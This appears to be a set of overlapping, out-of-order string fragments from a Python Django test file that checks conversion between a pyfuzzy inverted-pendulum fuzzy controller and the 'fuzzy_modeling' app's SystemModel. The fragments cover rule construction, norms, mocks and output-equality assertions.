"= getattr(new_defuzzify, param_name) self.assertEquals(new_arg, arg) self._test_norm(defuzzify.INF, new_defuzzify.INF) self._test_norm(defuzzify._INF, new_defuzzify._INF) self._test_norm(defuzzify.ACC, new_defuzzify.ACC) self._test_norm(defuzzify._ACC, new_defuzzify._ACC)",
"rule.__class__) self.assertEquals(rule.certainty, new_rule.certainty) self._test_adj(rule.adjective, new_rule.adjective) self._test_norm(rule.CER, new_rule.CER) self._test_norm(rule.CER, new_rule.CER) self._test_operator(rule.operator, new_rule.operator) def _test_operator(self,",
"outputvariablemodel_set # mocking rulemodel_set rulemodel_set = mock.Mock() rulemodel_set.all = lambda : self.rules_mock self.set_pre_mock(SystemModel,'rulemodel_set')",
"pyfuzzy_system_expected.inference() pyfuzzy_system_expected.defuzzify(output_dict1) new_pyfuzzy_system.fuzzify(i_dict2) new_pyfuzzy_system.inference() new_pyfuzzy_system.defuzzify(output_dict2) for var_name, var in pyfuzzy_system_expected.variables.items(): new_var = new_pyfuzzy_system.variables[var_name]",
"that has attr name and a get_pyfuzzy that returns this name \"\"\" var",
"), Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"up_left\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"cw_slow\"]) ) ), CER=CER ) system.rules['tilts right'] = Rule(",
"if work changing a single rule\" from fuzzy.Rule import Rule from fuzzy.operator.Input import",
": None inputvariablemodel_set = mock.Mock() inputvariablemodel_set.all = lambda : self.input_variable_mock self.set_pre_mock(SystemModel,'inputvariablemodel_set') SystemModel.inputvariablemodel_set =",
"pyfuzzy_system_expected.fuzzify(i_dict1) pyfuzzy_system_expected.inference() pyfuzzy_system_expected.defuzzify(output_dict1) new_pyfuzzy_system.fuzzify(i_dict2) new_pyfuzzy_system.inference() new_pyfuzzy_system.defuzzify(output_dict2) for var_name, var in pyfuzzy_system_expected.variables.items(): new_var =",
"Compound( EinsteinSum(), Input(system.variables[\"dX_dT\"].adjectives[\"left_slow\"]), Input(system.variables[\"dX_dT\"].adjectives[\"left_fast\"]) ) ), ), Input(system.variables[\"Phi\"].adjectives[\"up_right\"]) ), CER=CER ) system.rules['tilts left']",
"SystemModel as SystemModelOriginal # import pdb; pdb.set_trace() # reset_mock(SystemModel,'inputvariablemodel_set') # reset_mock(SystemModel,'outputvariablemodel_set') # reset_mock(SystemModel,'rulemodel_set')",
"= var.getValue() new_var_value = new_var.getValue() # if var_value != new_var_value: self.assertEquals(new_var_value, var_value) for",
"# if var_value != new_var_value: self.assertEquals(new_var_value, var_value) for rule_name, rule in pyfuzzy_system_expected.rules.items(): new_rule",
"} pyfuzzy_system_expected.fuzzify(i_dict1) pyfuzzy_system_expected.inference() pyfuzzy_system_expected.defuzzify(output_dict1) new_pyfuzzy_system.fuzzify(i_dict2) new_pyfuzzy_system.inference() new_pyfuzzy_system.defuzzify(output_dict2) for var_name, var in pyfuzzy_system_expected.variables.items(): new_var",
"for adj_name, adj in var.adjectives.items(): outputs_adjs.append(adj) for rule_name, rule in system.rules.items(): self.assertIn(rule.adjective, outputs_adjs)",
"Input(system.variables[\"dPhi_dT\"].adjectives[\"ccw_slow\"]) ), Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"up_left\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"cw_slow\"]) ) ), CER=CER ) system.rules['tilts right'] =",
"except TypeError: pass for param_name in params: arg = getattr(norm, param_name) new_arg =",
"adj.COM is not None and new_adj.COM is not None: self._test_norm(adj.COM, new_adj.COM) membership =",
"value from here operator=Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"down\"]), Compound( AlgebraicProduct(), Input(system.variables[\"dPhi_dT\"].adjectives[\"ccw_slow\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"ccw_slow\"]), ) ), CER=CER",
"pyfuzzy_system_expected.rules.items(): new_rule = new_pyfuzzy_system.rules[rule_name] self._test_rule(rule, new_rule) pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertEquals(output_dict1['a'], output_dict2['a']) def",
"500.0 #: velocity [m/s] input_dict[\"Phi\"] = math.radians(270.0) #: angle [rad] input_dict[\"dPhi_dT\"] = math.radians(90.0)",
"object.__init__) except TypeError: pass for param_name in params: arg = getattr(norm, param_name) new_arg",
"pyfuzzy_system_expected.defuzzify(output_dict1) new_pyfuzzy_system.fuzzify(i_dict2) new_pyfuzzy_system.inference() new_pyfuzzy_system.defuzzify(output_dict2) pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertNotEquals(output_dict1['a'], output_dict2['a']) def test_output_variable_changing_one_sets_only(self): \"",
"fuzzy.norm.Max import Max #from fuzzy.norm.Min import Min #from fuzzy.norm.BoundedDifference import BoundedDifference #from fuzzy.norm.DrasticSum",
"position as well as at the position X=0. It also is used to",
"= { var.name : var.get_pyfuzzy() for var in self.input_variable_mock + self.output_variable_mock } pyfuzzy_system_expected.variables",
"upright position as well as at the position X=0. It also is used",
"new_adj): \" test only a given adjective \" self.assertIsInstance(new_adj, adj.__class__) self._test_set(adj.set, new_adj.set) if",
"[rad] input_dict[\"dPhi_dT\"] = math.radians(90.0) #: angle velocity [rad/s] i_dict1 = input_dict.copy() i_dict2 =",
"Rule from fuzzy.norm.Max import Max #from fuzzy.norm.Min import Min #from fuzzy.norm.BoundedDifference import BoundedDifference",
"import math input_dict = {} input_dict[\"X\"] = 190.0 #: position [m] input_dict[\"dX_dT\"] =",
"param_name) new_arg = getattr(new_defuzzify, param_name) self.assertEquals(new_arg, arg) self._test_norm(defuzzify.INF, new_defuzzify.INF) self._test_norm(defuzzify._INF, new_defuzzify._INF) self._test_norm(defuzzify.ACC, new_defuzzify.ACC)",
"self._test_rule(rule, new_rule) pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertEquals(output_dict1['a'], output_dict2['a']) def _test_rules_adj_in_out_adjs(self, system): \"test if",
"for param_name in params: arg = getattr(norm, param_name) new_arg = getattr(new_norm, param_name) self.assertEquals(new_arg,",
"new_pyfuzzy_system.defuzzify(output_dict2) pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertNotEquals(output_dict1['a'], output_dict2['a']) def test_output_variable_changing_one_sets_only(self): \" should return the",
"new_operator.adjective) elif operator.__class__.__name__ == 'Not': self._test_operator(operator.input, new_operator.input) op_call = operator() new_op_call = new_operator()",
"acceleration.name = 'a' new_acceleration = OutputVariableModel.from_pyfuzzy(acceleration).get_pyfuzzy() new_pyfuzzy_system.variables['a'] = acceleration import math input_dict =",
"COG(INF=INF, ACC=ACC, failsafe=0., segment_size=0.5) acceleration = OutputVariable( defuzzify=COG, description='acceleration', min=-50., max=50., unit='meter per",
"else: self._test_defuzzify(var.defuzzify, new_var.defuzzify) # import pdb; pdb.set_trace() var_value = var.getValue() new_var_value = new_var.getValue()",
"it when done\"\"\" self.reset_all_pre_mocks(SystemModel) def _named_and_pyfuzzymixin_mock(self, name): \"\"\" mock a variable or to",
"else: new_cog = new_set.getCOG() self.assertEquals(new_cog, cog) self.assertEquals(new_set.points, set.points) def _test_norm(self, norm, new_norm): \"",
"elif operator.__class__.__name__ == 'Input': self._test_adj(operator.adjective, new_operator.adjective) elif operator.__class__.__name__ == 'Not': self._test_operator(operator.input, new_operator.input) op_call",
"new_pyfuzzy_system.rules) @classmethod def _createSystem(cls): import fuzzy.System system = fuzzy.System.System(description= \"\"\"This fuzzy system is",
"import pdb; pdb.set_trace() var_value = var.getValue() new_var_value = new_var.getValue() # if var_value !=",
"fuzzy_modeling.models.systems import SystemModel as SystemModelOriginal # import pdb; pdb.set_trace() # reset_mock(SystemModel,'inputvariablemodel_set') # reset_mock(SystemModel,'outputvariablemodel_set')",
"new_set): \" test only a given set \" self.assertIsInstance(new_set, set.__class__) params = []",
"coding: utf-8 -*- import inspect import mock from django.test import TestCase from fuzzy_modeling.tests.utils",
"def _test_fuzzify(self, fuzzify, new_fuzzify): \" test only a given fuzzify \" self.assertIsInstance(new_fuzzify, fuzzify.__class__)",
"acceleration [m/s²] } pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertEquals(output_dict1['a'], output_dict2['a']) def test_system_from_pyfuzzy_changing_a_single_rule_from_model(self): \"test if",
"if membership != new_membership: # import pdb; pdb.set_trace() self.assertEquals( membership, new_membership, msg=\"%s !=",
"new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertNotEquals(output_dict1['a'], output_dict2['a']) def test_output_variable_changing_one_set_and_rule(self): \" should return the correct output when",
"SystemModel from fuzzy.System import System class SystemModelTest(TestCase, ResetMock): def setUp(self): # self.aluno =",
"self.set_pre_mock(SystemModel,'rulemodel_set') SystemModel.rulemodel_set = rulemodel_set return self.system def test_system_get_pyfuzzy(self): \" shoud return the correct",
"in xrange(1,2) ] self.rules_mock = [ self._named_and_pyfuzzymixin_mock(\"r%d\" % i) for i in xrange(1,2)",
"pdb; pdb.set_trace() self.assertEquals( membership, new_membership, msg=\"%s != %s in %s\" % (membership, new_membership,",
"arg) self._test_norm(defuzzify.INF, new_defuzzify.INF) self._test_norm(defuzzify._INF, new_defuzzify._INF) self._test_norm(defuzzify.ACC, new_defuzzify.ACC) self._test_norm(defuzzify._ACC, new_defuzzify._ACC) def _test_rule(self, rule, new_rule):",
"correct corresponding pyfuzzy object \" new_system = self._mock_systemModel() new_pyfuzzy_system = new_system.get_pyfuzzy() # the",
"as SystemModelOriginal # import pdb; pdb.set_trace() # reset_mock(SystemModel,'inputvariablemodel_set') # reset_mock(SystemModel,'outputvariablemodel_set') # reset_mock(SystemModel,'rulemodel_set') pass",
"= a_right_slow = Adjective(Polygon([(0.,0.),(10.,1.),(20.,0.)]),COM=COM) acceleration.adjectives['right_fast'] = a_right_fast = Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) from fuzzy.Rule import Rule",
"value from here operator=Compound( AlgebraicProduct(), Not( Compound( AlgebraicProduct(), Compound( AlgebraicSum(), Input(system.variables[\"X\"].adjectives[\"right_near\"]), Input(system.variables[\"X\"].adjectives[\"right_far\"]) ),",
"] self.output_variable_mock = [ self._named_and_pyfuzzymixin_mock(\"ov%d\" % i) for i in xrange(1,2) ] self.rules_mock",
"the inverted pendulum into an upright position as well as at the position",
"# mocking outputvariablemodel_set outputvariablemodel_set = mock.Mock() outputvariablemodel_set.all = lambda : self.output_variable_mock self.set_pre_mock(SystemModel,'outputvariablemodel_set') SystemModel.outputvariablemodel_set",
"AlgebraicProduct() COG = COG(INF=INF,ACC=ACC,failsafe = 0., segment_size=0.5) from fuzzy.InputVariable import InputVariable from fuzzy.OutputVariable",
"{ 'a' : 0.0 #: acceleration [m/s²] } output_dict2 = { 'a' :",
"= Adjective(Polygon([(60.,0.),(90.,1.),(120.,0.)])) angle.adjectives['up_left'] = Adjective(Polygon([(90.,0.),(120.,1.),(150.,0.)])) angle.adjectives['up_more_left'] = Adjective(Polygon([(120.,0.),(150.,1.),(180.,0.)])) angle.adjectives['down_more_left'] = Adjective(Polygon([(180.,0.),(210.,1.),(240.,0.)])) angle.adjectives['down_left'] =",
"angle velocity [rad/s] i_dict1 = input_dict.copy() i_dict2 = input_dict.copy() output_dict1 = { 'a'",
"getattr(new_defuzzify, param_name) self.assertEquals(new_arg, arg) self._test_norm(defuzzify.INF, new_defuzzify.INF) self._test_norm(defuzzify._INF, new_defuzzify._INF) self._test_norm(defuzzify.ACC, new_defuzzify.ACC) self._test_norm(defuzzify._ACC, new_defuzzify._ACC) def",
"norm.S_NORM) def _test_fuzzify(self, fuzzify, new_fuzzify): \" test only a given fuzzify \" self.assertIsInstance(new_fuzzify,",
"Adjective(Polygon([(-20.,0.),(-10.,1.),(0.,0.)]),COM=COM) acceleration.adjectives['stop'] = a_stop = Adjective(Polygon([(-10.,0.),(0.,1.),(10.,0.)]),COM=COM) acceleration.adjectives['right_slow'] = a_right_slow = Adjective(Polygon([(0.,0.),(10.,1.),(20.,0.)]),COM=COM) acceleration.adjectives['right_fast'] =",
"rule\" self.assertIsInstance(new_rule, rule.__class__) self.assertEquals(rule.certainty, new_rule.certainty) self._test_adj(rule.adjective, new_rule.adjective) self._test_norm(rule.CER, new_rule.CER) self._test_norm(rule.CER, new_rule.CER) self._test_operator(rule.operator, new_rule.operator)",
"only a given fuzzify \" self.assertIsInstance(new_fuzzify, fuzzify.__class__) def _test_defuzzify(self, defuzzify, new_defuzzify): \" test",
"= COG(INF=INF, ACC=ACC, failsafe=0., segment_size=0.5) acceleration = OutputVariable( defuzzify=COG, description='acceleration', min=-50., max=50., unit='meter",
"it gets its value from here operator=Compound( AlgebraicProduct(), Not( Compound( AlgebraicProduct(), Compound( AlgebraicSum(),",
"getattr(norm, param_name) new_arg = getattr(new_norm, param_name) self.assertEquals(new_arg, arg) self.assertEquals(new_norm.UNKNOWN, norm.UNKNOWN) self.assertEquals(new_norm.T_NORM, norm.T_NORM) self.assertEquals(new_norm.S_NORM,",
"'Not': self._test_operator(operator.input, new_operator.input) op_call = operator() new_op_call = new_operator() self.assertEquals( op_call, new_op_call, msg=\"%s",
"a get_pyfuzzy that returns this name \"\"\" var = mock.Mock() var.name = name",
"here operator=Compound( AlgebraicProduct(), Not( Compound( AlgebraicProduct(), Compound( AlgebraicSum(), Input(system.variables[\"X\"].adjectives[\"left_near\"]), Input(system.variables[\"X\"].adjectives[\"left_far\"]) ), Compound( EinsteinSum(),",
") ), CER=CER ) system.rules['tilts right'] = Rule( adjective=a_right_slow, # it gets its",
"pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertEquals(output_dict1['a'], output_dict2['a']) def _test_rules_adj_in_out_adjs(self, system): \"test if all the",
"pyfuzzy_system_expected.rules = rules_dict self.assertEquals(pyfuzzy_system_expected.description, new_pyfuzzy_system.description) self.assertDictEqual(pyfuzzy_system_expected.variables, new_pyfuzzy_system.variables) self.assertDictEqual(pyfuzzy_system_expected.rules, new_pyfuzzy_system.rules) @classmethod def _createSystem(cls): import",
"new_pyfuzzy_system.inference() new_pyfuzzy_system.defuzzify(output_dict2) pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertNotEquals(output_dict1['a'], output_dict2['a']) def test_output_variable_changing_one_set_and_rule(self): \" should return",
"[m/s] input_dict[\"Phi\"] = math.radians(45.0) #: angle [rad] input_dict[\"dPhi_dT\"] = math.radians(0.0) #: angle velocity",
"from fuzzy.norm.AlgebraicProduct import AlgebraicProduct from fuzzy.norm.AlgebraicSum import AlgebraicSum from fuzzy.fuzzify.Plain import Plain from",
"self._test_new_vs_expected_fuzzy_sysem(new_pyfuzzy_system, pyfuzzy_system_expected) def _test_new_vs_expected_fuzzy_sysem(self, new_pyfuzzy_system, pyfuzzy_system_expected): import math input_dict = {} input_dict[\"X\"] =",
"when the given type don't implement a __init__ function # (never overrided the",
"= Rule( adjective=a_left_fast, # it gets its value from here operator=Input(system.variables[\"Phi\"].adjectives[\"up_more_left\"]), CER=CER )",
"changing the set to a SetModel in th System \" from fuzzy_modeling.models import",
"mock.Mock() inputvariablemodel_set.all = lambda : self.input_variable_mock self.set_pre_mock(SystemModel,'inputvariablemodel_set') SystemModel.inputvariablemodel_set = inputvariablemodel_set # mocking outputvariablemodel_set",
"output\" pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() self._test_rules_adj_in_out_adjs(pyfuzzy_system_expected) self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) def test_system_from_pyfuzzy_changing_a_single_rule(self): \"test if",
"kill it when done\"\"\" self.reset_all_pre_mocks(SystemModel) def _named_and_pyfuzzymixin_mock(self, name): \"\"\" mock a variable or",
"operator.__class__.__name__ == 'Input': self._test_adj(operator.adjective, new_operator.adjective) elif operator.__class__.__name__ == 'Not': self._test_operator(operator.input, new_operator.input) op_call =",
"or to be an object that has attr name and a get_pyfuzzy that",
"@classmethod def _createSystem(cls): import fuzzy.System system = fuzzy.System.System(description= \"\"\"This fuzzy system is to",
"new_rule): \"test only a given rule\" self.assertIsInstance(new_rule, rule.__class__) self.assertEquals(rule.certainty, new_rule.certainty) self._test_adj(rule.adjective, new_rule.adjective) self._test_norm(rule.CER,",
"pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() self._test_rules_adj_in_out_adjs(pyfuzzy_system_expected) self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) def test_system_from_pyfuzzy_changing_a_single_rule(self): \"test if work",
"= COG(INF=INF,ACC=ACC,failsafe = 0., segment_size=0.5) from fuzzy.InputVariable import InputVariable from fuzzy.OutputVariable import OutputVariable",
"op_call, new_op_call, msg=\"%s != %s in %s\" % (op_call, new_op_call, operator) ) def",
"SetModel in th System \" from fuzzy_modeling.models import AdjectiveModel pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system",
"new_pyfuzzy_system.description) self.assertDictEqual(pyfuzzy_system_expected.variables, new_pyfuzzy_system.variables) self.assertDictEqual(pyfuzzy_system_expected.rules, new_pyfuzzy_system.rules) @classmethod def _createSystem(cls): import fuzzy.System system = fuzzy.System.System(description=",
"new_rule = new_pyfuzzy_system.rules[rule_name] self._test_rule(rule, new_rule) pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertEquals(output_dict1['a'], output_dict2['a']) def _test_rules_adj_in_out_adjs(self,",
"import SystemModel from fuzzy.System import System class SystemModelTest(TestCase, ResetMock): def setUp(self): # self.aluno",
"when done\"\"\" self.reset_all_pre_mocks(SystemModel) def _named_and_pyfuzzymixin_mock(self, name): \"\"\" mock a variable or to be",
"import Polygon from fuzzy.defuzzify.COG import COG from fuzzy.OutputVariable import OutputVariable pyfuzzy_system_expected = self._createSystem()",
"= math.radians(45.0) #: angle [rad] input_dict[\"dPhi_dT\"] = math.radians(0.0) #: angle velocity [rad/s] i_dict1",
"a_stop = Adjective(Polygon([(-10., 0.), (0., 1.), (10., 0.)]), COM=COM) a_stop.name = 'stop' new_a_stop",
"Not( Compound( AlgebraicProduct(), Compound( AlgebraicSum(), Input(system.variables[\"X\"].adjectives[\"right_near\"]), Input(system.variables[\"X\"].adjectives[\"right_far\"]) ), Compound( DombiUnion(0.25), Input(system.variables[\"dX_dT\"].adjectives[\"right_slow\"]), Input(system.variables[\"dX_dT\"].adjectives[\"right_fast\"]) )",
"self.assertRaisesMessage(Exception, e.message, new_set.getCOG) else: new_cog = new_set.getCOG() self.assertEquals(new_cog, cog) self.assertEquals(new_set.points, set.points) def _test_norm(self,",
"another input\" pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() import math input_dict = {}",
"operator=Compound( AlgebraicProduct(), Not( Compound( AlgebraicProduct(), Compound( AlgebraicSum(), Input(system.variables[\"X\"].adjectives[\"right_near\"]), Input(system.variables[\"X\"].adjectives[\"right_far\"]) ), Compound( DombiUnion(0.25), Input(system.variables[\"dX_dT\"].adjectives[\"right_slow\"]),",
"fuzzy.norm.AlgebraicSum import AlgebraicSum from fuzzy.Adjective import Adjective from fuzzy.set.Polygon import Polygon COM =",
"= InputVariable(fuzzify=Plain(),description='velocity',min=-10.,max=10.,unit='meter per second') system.variables['dX_dT'] = velocity velocity.adjectives['left_fast'] = Adjective(Polygon([(-10.,1.),(-5.,0.)])) velocity.adjectives['left_slow'] = Adjective(Polygon([(-10.,0.),(-2.,1.),(0.,0.)]))",
"for var_name, var in system.variables.items(): #: is output if not hasattr(var, 'fuzzify'): for",
"# from fuzzy_modeling.models.systems import SystemModel as SystemModelOriginal # import pdb; pdb.set_trace() # reset_mock(SystemModel,'inputvariablemodel_set')",
"new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertNotEquals(output_dict1['a'], output_dict2['a']) def test_output_variable_changing_one_sets_only(self): \" should return the correct output when",
"angle.adjectives['up'] = Adjective(Polygon([(60.,0.),(90.,1.),(120.,0.)])) angle.adjectives['up_left'] = Adjective(Polygon([(90.,0.),(120.,1.),(150.,0.)])) angle.adjectives['up_more_left'] = Adjective(Polygon([(120.,0.),(150.,1.),(180.,0.)])) angle.adjectives['down_more_left'] = Adjective(Polygon([(180.,0.),(210.,1.),(240.,0.)])) angle.adjectives['down_left']",
"given fuzzify \" self.assertIsInstance(new_defuzzify, defuzzify.__class__) params = [] try: for arg in inspect.getargspec(defuzzify.__init__).args:",
"test_system_get_pyfuzzy(self): \" shoud return the correct corresponding pyfuzzy object \" new_system = self._mock_systemModel()",
"CER=CER ) system.rules['tilts right'] = Rule( adjective=a_right_slow, # it gets its value from",
"= Rule( adjective=a_right_fast, # it gets its value from here operator=Input(system.variables[\"Phi\"].adjectives[\"up_more_right\"]), CER=CER )",
"input_dict[\"X\"] = 0.0 #: position [m] input_dict[\"dX_dT\"] = 0.0 #: velocity [m/s] input_dict[\"Phi\"]",
"input_dict = {} input_dict[\"X\"] = 0.0 #: position [m] input_dict[\"dX_dT\"] = 0.0 #:",
"= AlgebraicProduct() pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = self._createSystem() system_model = SystemModel.from_pyfuzzy(self._createSystem()) output_a =",
"math input_dict = {} input_dict[\"X\"] = 190.0 #: position [m] input_dict[\"dX_dT\"] = 500.0",
"arg in inspect.getargspec(defuzzify.__init__).args: if arg != 'self' and arg != 'INF' and arg",
"instance of an output adj\" outputs_adjs = [] for var_name, var in system.variables.items():",
"a given fuzzify \" self.assertIsInstance(new_defuzzify, defuzzify.__class__) params = [] try: for arg in",
"self._test_norm(adj.COM, new_adj.COM) membership = adj.getMembership() new_membership = new_adj.getMembership() # if membership != new_membership:",
"position.adjectives['right_near'] = Adjective(Polygon([(0.,0.),(5.,1.),(20.,0.)])) position.adjectives['right_far'] = Adjective(Polygon([(10.,0.),(20.,1.)])) velocity = InputVariable(fuzzify=Plain(),description='velocity',min=-10.,max=10.,unit='meter per second') system.variables['dX_dT'] =",
"raise this exception when the given type don't implement a __init__ function #",
"# self.aluno = mommy.make_one(Aluno) # from fuzzy_modeling.models.systems import SystemModel as SystemModelOriginal # import",
"Adjective(Polygon([(300.,0.),(330.,1.),(360.,0.)])) angle_velocity = InputVariable(fuzzify=Plain(),description='angle velocity',min=-600.,max=600.,unit='degrees per second') system.variables['dPhi_dT'] = angle_velocity angle_velocity.adjectives['cw_fast'] = Adjective(Polygon([(-600.,1.),(-300.,0.)]))",
"name and a get_pyfuzzy that returns this name \"\"\" var = mock.Mock() var.name",
"'ACC': params.append(arg) # will raise this exception when the given type don't implement",
"far_right self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) import math input_dict = {} input_dict[\"X\"] = 0.0 #: position [m]",
"returns this name \"\"\" var = mock.Mock() var.name = name var.get_pyfuzzy = lambda",
"self.set_pre_mock(SystemModel,'outputvariablemodel_set') SystemModel.outputvariablemodel_set = outputvariablemodel_set # mocking rulemodel_set rulemodel_set = mock.Mock() rulemodel_set.all = lambda",
"= AlgebraicProduct() ACC = AlgebraicSum() COM = AlgebraicSum() COG = COG(INF=INF, ACC=ACC, failsafe=0.,",
"failsafe=0., segment_size=0.5) acceleration = OutputVariable( defuzzify=COG, description='acceleration', min=-50., max=50., unit='meter per second^2') acceleration.adjectives['left_fast']",
"pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = self._createSystem() SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() from fuzzy.norm.AlgebraicSum import AlgebraicSum from fuzzy.Adjective",
"= lambda : None inputvariablemodel_set = mock.Mock() inputvariablemodel_set.all = lambda : self.input_variable_mock self.set_pre_mock(SystemModel,'inputvariablemodel_set')",
"correct corresponding Model for the pyfuzzy object \" pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system =",
"fuzzy.operator.Input import Input from fuzzy.operator.Not import Not system.rules['stop'] = Rule( adjective=a_stop, # it",
"% i) for i in xrange(1,2) ] # mocking inputvariablemodel_set # inputvariablemodel_set =",
"new_membership, adj) ) def _test_set(self, set, new_set): \" test only a given set",
"get_pyfuzzy that returns this name \"\"\" var = mock.Mock() var.name = name var.get_pyfuzzy",
") ), ), Input(system.variables[\"Phi\"].adjectives[\"up_left\"]) ), CER=CER ) system.rules['far right'] = Rule( adjective=a_right_fast, #",
") new_pyfuzzy_system.rules['far right'] = far_right self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) import math input_dict = {} input_dict[\"X\"] =",
"output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertEquals(output_dict1['a'], output_dict2['a']) def _test_rules_adj_in_out_adjs(self, system): \"test if all the rules's",
"} pyfuzzy_system_expected.fuzzify(i_dict1) pyfuzzy_system_expected.inference() pyfuzzy_system_expected.defuzzify(output_dict1) new_pyfuzzy_system.fuzzify(i_dict2) new_pyfuzzy_system.inference() new_pyfuzzy_system.defuzzify(output_dict2) pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertNotEquals(output_dict1['a'], output_dict2['a'])",
"tearDown(self): \"\"\"And kill it when done\"\"\" self.reset_all_pre_mocks(SystemModel) def _named_and_pyfuzzymixin_mock(self, name): \"\"\" mock a",
"reason, it uses different fuzzy norm in normally symmetrical rules.\"\"\") from fuzzy.norm.AlgebraicProduct import",
"!= new_var_value: self.assertEquals(new_var_value, var_value) for rule_name, rule in pyfuzzy_system_expected.rules.items(): new_rule = new_pyfuzzy_system.rules[rule_name] self._test_rule(rule,",
"EinsteinSum from fuzzy.norm.DombiUnion import DombiUnion from fuzzy.operator.Compound import Compound from fuzzy.operator.Input import Input",
"var_value = var.getValue() new_var_value = new_var.getValue() # if var_value != new_var_value: self.assertEquals(new_var_value, var_value)",
"angle.adjectives['up_right'] = Adjective(Polygon([(30.,0.),(60.,1.),(90.,0.)])) angle.adjectives['up'] = Adjective(Polygon([(60.,0.),(90.,1.),(120.,0.)])) angle.adjectives['up_left'] = Adjective(Polygon([(90.,0.),(120.,1.),(150.,0.)])) angle.adjectives['up_more_left'] = Adjective(Polygon([(120.,0.),(150.,1.),(180.,0.)])) angle.adjectives['down_more_left']",
"#: position [m] input_dict[\"dX_dT\"] = 500.0 #: velocity [m/s] input_dict[\"Phi\"] = math.radians(270.0) #:",
"input_dict.copy() i_dict2 = input_dict.copy() output_dict1 = { 'a' : 0.0 #: acceleration [m/s²]",
"output_a.name = 'a' a_right_fast = output_a.adjectives[\"right_fast\"] a_right_fast.name = 'right_fast' far_right = Rule( adjective=a_right_fast,",
"def _createSystem(cls): import fuzzy.System system = fuzzy.System.System(description= \"\"\"This fuzzy system is to control",
"gets its value from here operator=Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"down\"]), Compound( AlgebraicProduct(), Input(system.variables[\"dPhi_dT\"].adjectives[\"cw_slow\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"cw_slow\"]), )",
"!= 'self' and arg != 'INF' and arg != 'ACC': params.append(arg) # will",
"for i in xrange(1,2) ] self.output_variable_mock = [ self._named_and_pyfuzzymixin_mock(\"ov%d\" % i) for i",
"= None new_cog = None try: cog = set.getCOG() except Exception, e: #",
"0.0 #: acceleration [m/s²] } pyfuzzy_system_expected.fuzzify(i_dict1) pyfuzzy_system_expected.inference() pyfuzzy_system_expected.defuzzify(output_dict1) new_pyfuzzy_system.fuzzify(i_dict2) new_pyfuzzy_system.inference() new_pyfuzzy_system.defuzzify(output_dict2) for var_name,",
"cog) self.assertEquals(new_set.points, set.points) def _test_norm(self, norm, new_norm): \" test only a given norm",
"fuzzy.norm.AlgebraicProduct import AlgebraicProduct from fuzzy.Adjective import Adjective from fuzzy.set.Polygon import Polygon from fuzzy.defuzzify.COG",
"= set.getCOG() except Exception, e: # self.assertRaises(Exception, new_set.getCOG) self.assertRaisesMessage(Exception, e.message, new_set.getCOG) else: new_cog",
"= InputVariable(fuzzify=Plain(),description='angle velocity',min=-600.,max=600.,unit='degrees per second') system.variables['dPhi_dT'] = angle_velocity angle_velocity.adjectives['cw_fast'] = Adjective(Polygon([(-600.,1.),(-300.,0.)])) angle_velocity.adjectives['cw_slow'] =",
"= Adjective(Polygon([(-300.,0.),(0.,1.),(300.,0.)])) angle_velocity.adjectives['ccw_slow'] = Adjective(Polygon([(0.,0.),(300.,1.),(600.,0.)])) angle_velocity.adjectives['ccw_fast'] = Adjective(Polygon([(300.,0.),(600.,1.)])) position = InputVariable(fuzzify=Plain(),description='position',min=-20.,max=20.,unit='meter') system.variables['X'] =",
"if all the rules's adj are the same instance of an output adj\"",
"COM = AlgebraicSum() COG = COG(INF=INF, ACC=ACC, failsafe=0., segment_size=0.5) acceleration = OutputVariable( defuzzify=COG,",
"is not None: self._test_norm(adj.COM, new_adj.COM) membership = adj.getMembership() new_membership = new_adj.getMembership() # if",
"import OutputVariableModel from fuzzy.norm.AlgebraicSum import AlgebraicSum from fuzzy.norm.AlgebraicProduct import AlgebraicProduct from fuzzy.Adjective import",
"self.assertEquals( op_call, new_op_call, msg=\"%s != %s in %s\" % (op_call, new_op_call, operator) )",
